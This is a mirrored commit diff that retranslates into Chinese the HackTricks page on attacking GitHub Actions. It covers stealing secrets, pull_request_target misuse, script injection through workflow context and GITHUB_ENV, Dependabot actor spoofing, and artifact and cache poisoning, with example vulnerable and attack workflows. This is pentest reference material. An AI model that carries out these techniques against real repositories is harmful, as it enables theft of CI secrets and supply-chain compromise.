mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-04 19:11:41 -08:00
Translated ['', 'src/pentesting-ci-cd/github-security/abusing-github-act
This commit is contained in:
@@ -4,55 +4,55 @@
|
||||
|
||||
## 工具
|
||||
|
||||
下面的工具对于查找 Github Action workflows 甚至发现有漏洞的 workflow 很有用:
|
||||
The following tools are useful to find Github Action workflows and even find vulnerable ones:
|
||||
|
||||
- [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
|
||||
- [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
|
||||
- [https://github.com/AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X)
|
||||
- [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda)
|
||||
- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - 也请查看其在 [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits) 的 checklist
|
||||
- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Check also its checklist in [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)
|
||||
|
||||
## 基本信息
|
||||
|
||||
在本页你会找到:
|
||||
|
||||
- 一个 **summary of all the impacts**(攻击者设法访问 Github Action 后的所有影响)
|
||||
- 不同方式来 **get access to an action**:
|
||||
- 拥有 **permissions** 去创建该 action
|
||||
- 滥用与 **pull request** 相关的触发器
|
||||
- 滥用 **other external access** 技术
|
||||
- 从已被攻陷的 repo **Pivoting**
|
||||
- 最后,是一节关于 **post-exploitation techniques to abuse an action from inside**(在内部滥用 action 以造成上述影响)
|
||||
- 攻击者若成功访问 Github Action,会导致的**所有影响的摘要**
|
||||
- 不同方式来**获取对 action 的访问**:
|
||||
- 拥有**创建 action 的权限**
|
||||
- 滥用与 **pull request** 相关的触发器
|
||||
- 滥用 **其他外部访问** 技术
|
||||
- 从已被入侵的 repo 进行 **Pivoting**
|
||||
- 最后,一节关于**从内部滥用 action 的事后利用技术(以造成上述影响)**
|
||||
|
||||
## Impacts Summary
|
||||
## 影响摘要
|
||||
|
||||
For an introduction about [**Github Actions check the basic information**](../basic-github-information.md#github-actions).
|
||||
关于 [**Github Actions check the basic information**](../basic-github-information.md#github-actions) 的入门介绍。
|
||||
|
||||
如果你能在一个 **repository** 的 **GitHub Actions** 中 **execute arbitrary code**,你可能能够:
|
||||
如果你能够在一个 **repository** 的 **GitHub Actions** 中执行任意代码,你可能能够:
|
||||
|
||||
- **Steal secrets**(这些 secrets 被挂载到 pipeline 上)并 **abuse the pipeline's privileges**,从而获得对外部平台(如 AWS 和 GCP)的未授权访问。
|
||||
- **Compromise deployments** 和其他 **artifacts**。
|
||||
- 如果 pipeline 部署或存储资产,你可以篡改最终产品,从而发起 supply chain attack。
|
||||
- **Execute code in custom workers** 来滥用计算能力并 pivot 到其他系统。
|
||||
- **Overwrite repository code**,这取决于与 `GITHUB_TOKEN` 相关的权限。
|
||||
- **窃取挂载到 pipeline 的 secrets**,并**滥用 pipeline 的权限**以获得对外部平台,例如 AWS 和 GCP 的未授权访问。
|
||||
- **破坏部署**以及其他**artifacts**。
|
||||
- 如果 pipeline 部署或存储资产,你可以篡改最终产品,从而发动供应链攻击。
|
||||
- 在自定义 workers 上执行代码,以滥用计算能力并进行横向渗透(pivot)到其他系统。
|
||||
- **覆盖 repository 代码**,取决于与 `GITHUB_TOKEN` 关联的权限。
|
||||
|
||||
## GITHUB_TOKEN
|
||||
|
||||
This "**secret**" (coming from `${{ secrets.GITHUB_TOKEN }}` and `${{ github.token }}`) is given when the admin enables this option:
|
||||
这个“**secret**”(来自 `${{ secrets.GITHUB_TOKEN }}` 和 `${{ github.token }}`)在管理员启用此选项时提供:
|
||||
|
||||
<figure><img src="../../../images/image (86).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
This token is the same one a **Github Application will use**, so it can access the same endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
|
||||
该 token 与 **Github Application** 使用的相同,因此可以访问相同的端点: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
|
||||
|
||||
> [!WARNING]
|
||||
> Github 应该发布一个 [**flow**](https://github.com/github/roadmap/issues/74),允许在 GitHub 内部进行 cross-repository 访问,这样一个 repo 就能使用 `GITHUB_TOKEN` 访问其他内部 repo。
|
||||
> Github 应该发布一个 [**flow**](https://github.com/github/roadmap/issues/74) ,允许在 GitHub 内进行**跨仓库(cross-repository)**访问,因此一个 repo 可以使用 `GITHUB_TOKEN` 访问其他内部仓库。
|
||||
|
||||
你可以在以下查看该 token 的可能 **permissions**: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
|
||||
你可以在以下链接查看该 token 的可能**权限**: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
|
||||
|
||||
注意该 token **expires after the job has completed**。
|
||||
这些 token 看起来像这样:`ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
|
||||
请注意,该 token 会在作业完成后**过期**。\
|
||||
这些 tokens 看起来像这样: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
|
||||
|
||||
下面是一些使用该 token 可以做的有趣事情:
|
||||
使用该 token 可以做的一些有趣操作:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Merge PR" }}
|
||||
@@ -91,7 +91,7 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls \
|
||||
{{#endtabs }}
|
||||
|
||||
> [!CAUTION]
|
||||
> 请注意,在多种情况下,你可能会在 **Github Actions envs 或 secrets 中找到 github user tokens**。这些 tokens 可能会赋予你对仓库和组织的更多权限。
|
||||
> 注意:在多种情况下,你可能会在 **github user tokens inside Github Actions envs or in the secrets** 中发现这些。这些 tokens 可能会授予你对 repository 和 organization 更多权限。
|
||||
|
||||
<details>
|
||||
|
||||
@@ -144,29 +144,29 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
```
|
||||
</details>
|
||||
|
||||
可以通过 **checking the logs** 来检查授予 Github Token 在其他用户仓库中的权限(查看 actions 的日志):
|
||||
可以通过 **检查 actions 的日志** 来查看授予其他用户 repository 中的 Github Token 的权限:
|
||||
|
||||
<figure><img src="../../../images/image (286).png" alt="" width="269"><figcaption></figcaption></figure>
|
||||
|
||||
## Allowed Execution
|
||||
## 允许执行
|
||||
|
||||
> [!NOTE]
|
||||
> 这是攻破 Github actions 的最简单方式,因为该场景假设你有权限 **create a new repo in the organization**,或对某个仓库拥有 **write privileges over a repository**。
|
||||
> 这是入侵 Github actions 的最简单方法,因为这种情形假设你可以 **create a new repo in the organization**,或对某个 **repository 拥有 write privileges**。
|
||||
>
|
||||
> 如果你处于这种情况,你可以直接查看 [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action)。
|
||||
> 如果你处于这种情形,你可以直接查看 [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action)。
|
||||
|
||||
### Execution from Repo Creation
|
||||
|
||||
如果组织成员可以**create new repos**,且你可以执行 github actions,你可以**创建一个新仓库并窃取组织级别设置的 secrets**。
|
||||
如果组织成员可以 **create new repos** 并且你可以执行 github actions,你可以 **create a new repo 并窃取组织级别设置的 secrets**。
|
||||
|
||||
### Execution from a New Branch
|
||||
|
||||
如果你可以在已配置 Github Action 的仓库中**create a new branch**,你可以**修改**它、**upload** 内容,然后从**新分支执行该 action**。通过这种方式你可以**exfiltrate repository and organization level secrets**(但你需要知道它们的名称)。
|
||||
如果你可以在已经配置了 Github Action 的 repository 中 **create a new branch**,你可以 **modify** 它、**upload** 内容,然后 **execute that action from the new branch**。这样你可以 **exfiltrate repository and organization level secrets**(但你需要知道这些 secrets 的名称)。
|
||||
|
||||
> [!WARNING]
|
||||
> 仅在 workflow YAML 内实现的任何限制(例如,`on: push: branches: [main]`、job 条件或手动门控)都可以被协作者编辑。没有外部强制措施(branch protections、protected environments、和 protected tags)的情况下,贡献者可以将 workflow 重新定向到他们的分支并滥用挂载的 secrets/permissions。
|
||||
> 任何仅在 workflow YAML 中实现的限制(例如,`on: push: branches: [main]`、job 条件或手动门控)都可以被合作者编辑。若没有外部强制措施(branch protections、protected environments 和 protected tags),贡献者可以将 workflow 重新定位到他们的 branch 上运行,并滥用挂载的 secrets/permissions。
|
||||
|
||||
你可以让修改后的 action 在 **manually,** 当 **PR is created** 或当 **some code is pushed** 时可执行(取决于你想多吵闹):
|
||||
你可以让被修改的 action 在以下情况下可执行:**手动**、当 **PR 被创建** 或当 **有代码被 push**(取决于你想多吵闹):
|
||||
```yaml
|
||||
on:
|
||||
workflow_dispatch: # Launch manually
|
||||
@@ -183,46 +183,46 @@ branches:
|
||||
## Forked Execution
|
||||
|
||||
> [!NOTE]
|
||||
> 有不同的触发器可能允许攻击者**执行另一个仓库的 Github Action**。如果这些可触发的 action 配置不当,攻击者可能会利用它们进行妥协。
|
||||
> 存在不同的触发器可能允许攻击者 **execute a Github Action of another repository**。如果这些可触发的 actions 配置不当,攻击者可能会利用它们进行妥协。
|
||||
|
||||
### `pull_request`
|
||||
|
||||
工作流触发器 **`pull_request`** 会在每次收到 pull request 时执行工作流,但有一些例外:默认情况下,如果这是你**第一次**进行**协作**,一些**maintainer**需要**批准**该工作流的**运行**:
|
||||
工作流触发器 **`pull_request`** 会在每次收到 pull request 时执行该工作流,但有一些例外:默认情况下如果你是 **首次** **协作** 的人,某些 **维护者** 需要 **批准** 工作流的 **运行**:
|
||||
|
||||
<figure><img src="../../../images/image (184).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!NOTE]
|
||||
> 由于**默认限制**针对的是**首次**贡献者,你可以先提交修复合法 bug/错别字的贡献,然后再发送**其他 PR 来滥用你新的 `pull_request` 权限**。
|
||||
> 由于 **默认限制** 针对 **first-time** 贡献者,你可以通过提交一个 **修复有效 bug/typo** 的贡献来获得权限,然后发送 **其他 PR 来滥用你新的 `pull_request` 权限**。
|
||||
>
|
||||
> **我测试过这是行不通的**:~~另一个选项是创建一个与某个已贡献者同名的账户并删除他的账户。~~
|
||||
> **我测试过,这个方法不起作用**:~~另一个选项是创建一个与项目贡献者同名的账号并删除他的账号。~~
|
||||
|
||||
此外,默认情况下会**阻止写权限**和**secrets 的访问**到目标仓库,正如[**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories)中所述:
|
||||
此外,默认情况下对目标仓库 **阻止写权限** 和 **secrets 访问**,如[**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories) 中所述:
|
||||
|
||||
> 除了 `GITHUB_TOKEN`,当工作流由 **forked** 仓库触发时,**secrets 不会传递给 runner**。在来自 **forked repositories** 的 pull requests 中,**`GITHUB_TOKEN` 具有只读权限**。
|
||||
> With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**.
|
||||
|
||||
攻击者可以修改 Github Action 的定义以执行任意操作并追加任意 steps。但由于上述限制,他无法窃取 secrets 或覆盖仓库。
|
||||
攻击者可以修改 Github Action 的定义以执行任意操作并追加任意 actions。但是,由于上述限制,他无法窃取 secrets 或覆盖仓库。
|
||||
|
||||
> [!CAUTION]
|
||||
> **是的,如果攻击者在 PR 中更改了将被触发的 github action,那么将使用他提交的 Github Action,而不是原始仓库中的那个!**
|
||||
> **是的,如果攻击者在 PR 中更改了将被触发的 github action,那么将使用他提供的 Github Action,而不是源仓库中的那个!**
|
||||
|
||||
因为攻击者也控制着要执行的代码,即使 `GITHUB_TOKEN` 没有 secrets 或写权限,攻击者仍然可以例如**上传恶意的 artifacts**。
|
||||
由于攻击者也控制被执行的代码,即使 `GITHUB_TOKEN` 没有 secrets 或写权限,攻击者仍然可以例如 **上传恶意制品(upload malicious artifacts)**。
|
||||
|
||||
### **`pull_request_target`**
|
||||
|
||||
工作流触发器 **`pull_request_target`** 对目标仓库拥有**写权限**并且**可以访问 secrets**(且不会请求额外批准)。
|
||||
工作流触发器 **`pull_request_target`** 对目标仓库拥有 **写权限** 并且 **access to secrets**(且不需要额外批准)。
|
||||
|
||||
注意,工作流触发器 **`pull_request_target`** **在 base 上下文中运行**,而不是在 PR 提供的上下文中(以**避免执行不受信任的代码**)。关于 `pull_request_target` 的更多信息请[**查看文档**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target)。\
|
||||
另外,关于此特殊危险用法的更多信息请参见此 [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/)。
|
||||
注意 workflow 触发器 **`pull_request_target`** 是在 **base 上下文** 中运行的,而不是在 PR 提供的上下文中运行(以 **不执行不受信任的代码**)。有关 `pull_request_target` 的更多信息请参阅 [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target)。\
|
||||
此外,关于这一特定危险用法的更多信息,请查看这篇[**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/)。
|
||||
|
||||
看起来由于被**执行的工作流**是定义在 **base** 而不是在 PR 中,使用 **`pull_request_target`** 似乎是**安全的**,但在少数情况下并非如此。
|
||||
看起来因为被 **执行的工作流** 是在 **base** 中定义的而**不是在 PR 中**,使用 **`pull_request_target`** 似乎是 **安全的**,但在某些情况下并不是如此。
|
||||
|
||||
并且该触发器将**具有对 secrets 的访问权限**。
|
||||
并且该触发将拥有 **access to secrets**。
|
||||
|
||||
### `workflow_run`
|
||||
|
||||
[**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) 触发器允许在另一个工作流 `completed`、`requested` 或 `in_progress` 时运行一个工作流。
|
||||
|
||||
在下面的示例中,一个工作流被配置为在单独的 "Run Tests" 工作流完成后运行:
|
||||
在下面这个例子中,一个工作流被配置为在单独的 "Run Tests" 工作流完成后运行:
|
||||
```yaml
|
||||
on:
|
||||
workflow_run:
|
||||
@@ -230,29 +230,29 @@ workflows: [Run Tests]
|
||||
types:
|
||||
- completed
|
||||
```
|
||||
此外,根据文档:由 `workflow_run` 事件启动的 workflow 能够 **访问 secrets 并写入 tokens,即使先前的 workflow 无法**。
|
||||
此外,根据文档:由 `workflow_run` 事件启动的 workflow 能够 **访问 secrets 并写入 tokens,即使之前的 workflow 无法**。
|
||||
|
||||
如果该类型的 workflow 依赖于可以被外部用户通过 **`pull_request`** 或 **`pull_request_target`** 触发的 **workflow**,则可能被攻击。可以在 [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability) 找到几个易受攻击的示例。第一个示例是由 **`workflow_run`** 触发的 workflow 下载攻击者的代码:`${{ github.event.pull_request.head.sha }}`\
|
||||
第二个示例是 **将** 来自 **untrusted** 代码的 **artifact** 传递给 **`workflow_run`** workflow,并以一种会导致 **RCE** 的方式使用该 artifact 的内容。
|
||||
这种类型的 workflow 如果依赖于可以被外部用户通过 **`pull_request`** 或 **`pull_request_target`** 触发的 **workflow**,就可能被攻击。可以在 [**这篇博客**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability) 找到几个易受攻击的示例。第一个示例是由 **`workflow_run`** 触发的 workflow 下载攻击者的代码:`${{ github.event.pull_request.head.sha }}`\
|
||||
第二个示例是 **将** 来自 **不受信任** 代码的 **artifact** 传递给 **`workflow_run`** workflow,并以一种使其 **易受 RCE** 的方式使用该 artifact 的内容。
|
||||
|
||||
### `workflow_call`
|
||||
|
||||
TODO
|
||||
|
||||
TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR
|
||||
TODO: Check if when executed from a `pull_request` the used/downloaded code if the one from the origin or from the forked PR
|
||||
|
||||
## 滥用分叉执行
|
||||
## 滥用 forked 执行
|
||||
|
||||
我们已经提到外部攻击者能够使 github workflow 执行的所有方式,现在我们来看看如果这些执行配置不当,会如何被滥用:
|
||||
我们已经提到外部攻击者能够使 github workflow 执行 的所有方式,现在让我们看看如果这些执行配置不当,可能如何被滥用:
|
||||
|
||||
### Untrusted checkout execution
|
||||
### 不受信任的 checkout 执行
|
||||
|
||||
在 **`pull_request`** 的情况下,workflow 将在 **PR 的上下文** 中执行(因此会执行 **malicious PRs code**),但需要有人**先授权**,并且它将带有一些 [限制](#pull_request) 运行。
|
||||
在 **`pull_request`** 的情况下,workflow 会在 PR 的上下文中执行(因此会执行 **恶意 PR 的代码**),但需要有人 **先授权**,并且它会有一些[限制](#pull_request)。
|
||||
|
||||
如果某个 workflow 使用 **`pull_request_target` or `workflow_run`**,并且依赖于可以由 **`pull_request_target` or `pull_request`** 触发的 workflow,则会执行原始 repo 中的代码,因此 **attacker cannot control the executed code**。
|
||||
如果一个使用 **`pull_request_target` 或 `workflow_run`** 的 workflow 依赖于可以由 **`pull_request_target` 或 `pull_request`** 触发的 workflow,那么将会执行原始仓库的代码,因此 **攻击者无法控制被执行的代码**。
|
||||
|
||||
> [!CAUTION]
|
||||
> 然而,如果该 **action** 有一个明确的 PR checkout,会 **从 PR 获取代码**(而不是从 base),它将使用由攻击者控制的代码。例如(检查第 12 行,PR 代码在此处被下载):
|
||||
> 然而,如果该 **action** 有一个 **显式的 PR checkout**,会**从 PR 获取代码**(而不是从 base),那么它会使用攻击者控制的代码。例如(查看第 12 行,PR 代码在此处被下载):
|
||||
|
||||
<pre class="language-yaml"><code class="lang-yaml"># INSECURE. Provided as an example only.
|
||||
on:
|
||||
@@ -282,32 +282,32 @@ message: |
|
||||
Thank you!
|
||||
</code></pre>
|
||||
|
||||
潜在的 **untrusted code 会在 `npm install` 或 `npm build` 期间被执行**,因为构建脚本和引用的 **packages** 由 PR 的作者控制。
|
||||
潜在的 **不受信任代码会在 `npm install` 或 `npm build` 期间被运行**,因为构建脚本和被引用的 **packages 由 PR 的作者控制**。
|
||||
|
||||
> [!WARNING]
|
||||
> 一个用于搜索易受攻击 actions 的 github dork 是:`event.pull_request pull_request_target extension:yml`,不过,即使 action 配置不安全,也有不同的方法来安全地配置要执行的 jobs(例如使用关于谁是生成 PR 的 actor 的条件判断)。
|
||||
> 一个用于搜索易受攻击 actions 的 github dork 是:`event.pull_request pull_request_target extension:yml`,然而,即使 action 配置不安全,也有不同的方法配置 jobs 以安全执行(例如使用关于谁是产生 PR 的 actor 的条件判断)。
|
||||
|
||||
### Context Script Injections <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
|
||||
### 上下文脚本注入 <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
|
||||
|
||||
请注意,有些 [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) 的值由创建 PR 的 **user** 控制。如果 github action 使用这些 **数据去执行任何东西**,可能导致 **arbitrary code execution:**
|
||||
注意,有些 [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) 的值是由创建 PR 的 **用户** 控制的。如果 github action 使用这些 **数据去执行任何东西**,可能会导致 **任意代码执行:**
|
||||
|
||||
{{#ref}}
|
||||
gh-actions-context-script-injections.md
|
||||
{{#endref}}
|
||||
|
||||
### **GITHUB_ENV Script Injection** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
|
||||
### **GITHUB_ENV 脚本注入** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
|
||||
|
||||
从文档:你可以通过定义或更新环境变量并将其写入 **`GITHUB_ENV`** environment file,使该环境变量对 workflow job 中的任何后续步骤可用。
|
||||
根据文档:你可以通过定义或更新环境变量并将其写入 **`GITHUB_ENV`** 环境文件,来使该环境变量对工作流作业中的任意后续步骤可用。
|
||||
|
||||
如果攻击者能够在该 **env** 变量中 **注入任意值**,他可以注入能够在后续步骤中执行代码的环境变量,例如 **LD_PRELOAD** 或 **NODE_OPTIONS**。
|
||||
如果攻击者能够在该 **env** 变量中**注入任意值**,就可以注入在后续步骤中会执行代码的环境变量,例如 **LD_PRELOAD** 或 **NODE_OPTIONS**。
|
||||
|
||||
例如([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) 和 [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)),想象一个 workflow 信任上传的 artifact 将其内容存入 **`GITHUB_ENV`** env 变量。攻击者可以上传如下内容来利用它:
|
||||
例如([**这篇**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) 和 [**这篇**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)),想象一个 workflow 信任上传的 artifact 并将其内容存入 **`GITHUB_ENV`** 环境变量。攻击者可以上传如下内容来破坏它:
|
||||
|
||||
<figure><img src="../../../images/image (261).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Dependabot and other trusted bots
|
||||
### Dependabot 及其他受信任的 bots
|
||||
|
||||
如 [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest) 所示,若干组织有一个 Github Action 会合并来自 `dependabot[bot]` 的任何 PR(如下面所示):
|
||||
如 [**这篇博文**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest) 所示,若干组织有一个 Github Action 会合并来自 `dependabot[bot]` 的任何 PRR(如下面所示):
|
||||
```yaml
|
||||
on: pull_request_target
|
||||
jobs:
|
||||
@@ -317,16 +317,16 @@ if: ${ { github.actor == 'dependabot[bot]' }}
|
||||
steps:
|
||||
- run: gh pr merge $ -d -m
|
||||
```
|
||||
这是个问题,因为 `github.actor` 字段包含触发 workflow 的最新事件的用户。并且有好几种方法可以让 `dependabot[bot]` 用户修改一个 PR。例如:
|
||||
这会成为一个问题,因为 `github.actor` 字段包含了导致触发 workflow 的最新事件的用户。并且存在多种方法可以让 `dependabot[bot]` 用户修改一个 PR。例如:
|
||||
|
||||
- Fork 受害者仓库
|
||||
- 在你的副本中添加恶意载荷
|
||||
- 在你的 fork 上启用 Dependabot,并添加一个过期的依赖。Dependabot 会创建一个分支来修复该依赖,分支中包含恶意代码。
|
||||
- 从该分支向受害者仓库打开一个 Pull Request(PR 将由用户创建,因此暂时不会发生任何事)
|
||||
- 然后,攻击者回到 Dependabot 在其 fork 中最初打开的 PR,并运行 `@dependabot recreate`
|
||||
- 随后,Dependabot 对该分支执行一些操作,修改了在受害者仓库上的 PR,这使得 `dependabot[bot]` 成为触发 workflow 的最新事件的 actor(因此,workflow 会运行)。
|
||||
- Fork 受害者 repository
|
||||
- 向你的副本添加恶意 payload
|
||||
- 在你的 fork 上启用 Dependabot 并添加一个过期的 dependency。Dependabot 会创建一个 branch 来修复该 dependency,同时包含恶意代码。
|
||||
- 从该 branch 向 victim repository 打开一个 Pull Request(该 PR 会由用户创建,所以暂时不会发生任何事)
|
||||
- 然后,攻击者返回到 Dependabot 在其 fork 中打开的初始 PR 并运行 `@dependabot recreate`
|
||||
- 随后,Dependabot 在该 branch 上执行一些操作,修改了针对 victim repo 的 PR,使得 `dependabot[bot]` 成为触发该工作流的最新事件的 actor(因此,workflow 会运行)。
|
||||
|
||||
继续,如果不是合并,而是 Github Action 中存在类似下面的 command injection,会怎样:
|
||||
接下来,假设不是合并,而是 Github Action 存在类似下面的 command injection:
|
||||
```yaml
|
||||
on: pull_request_target
|
||||
jobs:
|
||||
@@ -336,22 +336,22 @@ if: ${ { github.actor == 'dependabot[bot]' }}
|
||||
steps:
|
||||
- run: echo ${ { github.event.pull_request.head.ref }}
|
||||
```
|
||||
Well, the original blogpost proposes two options to abuse this behavior being the second one:
|
||||
原博文提出了两种滥用该行为的方案,其中第二种是:
|
||||
|
||||
- Fork the victim repository and enable Dependabot with some outdated dependency.
|
||||
- Create a new branch with the malicious shell injeciton code.
|
||||
- Change the default branch of the repo to that one
|
||||
- Create a PR from this branch to the victim repository.
|
||||
- Run `@dependabot merge` in the PR Dependabot opened in his fork.
|
||||
- Dependabot will merge his changes in the default branch of your forked repository, updating the PR in the victim repository making now the `dependabot[bot]` the actor of the latest event that triggered the workflow and using a malicious branch name.
|
||||
- Fork 受害者仓库并启用 Dependabot,使用某个过时的依赖。
|
||||
- 创建一个新 branch,里面包含恶意的 shell injection 代码。
|
||||
- 将仓库的默认 branch 改为该分支。
|
||||
- 从该 branch 向受害者仓库创建一个 PR。
|
||||
- 在 Dependabot 在其 fork 中打开的 PR 中运行 `@dependabot merge`。
|
||||
- Dependabot 会将其更改合并到你的 fork 仓库的默认 branch 中,更新受害者仓库中的 PR,使 `dependabot[bot]` 成为触发 workflow 的最新事件的执行者,并使用恶意的 branch 名称。
|
||||
|
||||
### 易受攻击的第三方 Github Actions
|
||||
|
||||
#### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
|
||||
|
||||
正如 [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks) 提到的,这个 Github Action 允许访问来自不同 workflows 甚至不同 repositories 的 artifacts。
|
||||
正如[**这篇博文**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks)所述,这个 Github Action 允许访问来自不同 workflow 甚至不同仓库的 artifacts。
|
||||
|
||||
问题在于,如果未设置 **`path`** 参数,artifact 会被解压到当前目录,这可能覆盖之后在 workflow 中被使用或执行的文件。因此,如果该 Artifact 存在漏洞,攻击者可以滥用此点来破坏依赖该 Artifact 的其他 workflows。
|
||||
问题在于,如果未设置 **`path`** 参数,artifact 会被解压到当前目录,这可能覆盖随后在 workflow 中被使用甚至执行的文件。因此,如果该 Artifact 存在漏洞,攻击者可以滥用此行为来破坏其他信任该 Artifact 的 workflows。
|
||||
|
||||
Example of vulnerable workflow:
|
||||
```yaml
|
||||
@@ -376,7 +376,7 @@ with:
|
||||
name: artifact
|
||||
path: ./script.py
|
||||
```
|
||||
可以使用以下 workflow 发起攻击:
|
||||
可以使用以下工作流程进行攻击:
|
||||
```yaml
|
||||
name: "some workflow"
|
||||
on: pull_request
|
||||
@@ -397,23 +397,23 @@ path: ./script.py
|
||||
|
||||
### Deleted Namespace Repo Hijacking
|
||||
|
||||
如果一个帐户更改了其名称,另一个用户在一段时间后可能会注册该名称。如果一个 repository 在更名之前拥有 **少于 100 个 stars**,GitHub 会允许新注册的同名用户创建一个与被删除仓库 **同名的 repository**。
|
||||
如果一个 account 更改了 its name,其他用户在一段时间后可能会注册该名称的账号。如果某个仓库在更名之前拥有 **少于 100 星**,Github 会允许新注册且同名的用户创建一个与被删除仓库 **同名的 repository**。
|
||||
|
||||
> [!CAUTION]
|
||||
> 所以如果一个 action 使用来自一个不存在的 account 的 repo,攻击者仍然有可能创建该 account 并 compromise 该 action。
|
||||
> 因此,如果一个 action 使用来自不存在账号的 repo,攻击者仍然可能创建该账号并攻陷该 action。
|
||||
|
||||
如果其他 repositories 使用了 **来自该用户 repos 的 dependencies**,攻击者就能够劫持它们。更完整的解释见: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
|
||||
如果其他仓库正在使用 **来自该用户仓库的 dependencies**,攻击者将能够劫持它们。更多完整说明见: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
|
||||
|
||||
---
|
||||
|
||||
## Repo Pivoting
|
||||
|
||||
> [!NOTE]
|
||||
> 在本节中我们将讨论一些技术,这些技术允许在假设我们对第一个 repo 有某种访问权限的情况下,**pivot from one repo to another**(参见上一节)。
|
||||
> 在本节中,我们将讨论在假设对第一个仓库具有某种访问权限的情况下(参见上一节),能够 **pivot from one repo to another** 的技术。
|
||||
|
||||
### Cache Poisoning
|
||||
|
||||
在相同 branch 的 workflow runs 之间会维护一个 cache。这意味着如果攻击者 compromise 一个 package,该 package 被存入 cache,并被一个权限更高的 workflow 下载并执行,那么攻击者也能够 compromise 那个 workflow。
|
||||
同一分支的 **workflow 运行之间** 会维护一个 cache。这意味着如果攻击者妥协了一个被存入 cache 的 **package**,并且该 package 被更高权限的 workflow **下载** 并执行,那么攻击者也能妥协该 workflow。
|
||||
|
||||
{{#ref}}
|
||||
gh-actions-cache-poisoning.md
|
||||
@@ -421,7 +421,7 @@ gh-actions-cache-poisoning.md
|
||||
|
||||
### Artifact Poisoning
|
||||
|
||||
Workflows 可能会使用 **来自其他 workflows 甚至 repos 的 artifacts**。如果攻击者设法 compromise 了上传 artifact 的 Github Action,而该 artifact 随后被另一个 workflow 使用,那么攻击者就可以 compromise 其他 workflows:
|
||||
Workflows 可能会使用 **来自其他 workflows,甚至其他 repos 的 artifacts**。如果攻击者设法妥协了负责 **uploads an artifact** 的 Github Action,而该 artifact 随后被另一个 workflow 使用,那么他就可能妥协其他那些 workflow:
|
||||
|
||||
{{#ref}}
|
||||
gh-actions-artifact-poisoning.md
|
||||
@@ -433,9 +433,9 @@ gh-actions-artifact-poisoning.md
|
||||
|
||||
### Github Action Policies Bypass
|
||||
|
||||
正如 [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass) 所述,即使一个 repository 或 organization 有策略限制某些 actions 的使用,攻击者也可以在 workflow 中下载(`git clone`)该 action 的代码,然后将其作为 local action 来引用。由于策略不影响 local paths,**the action will be executed without any restriction.**
|
||||
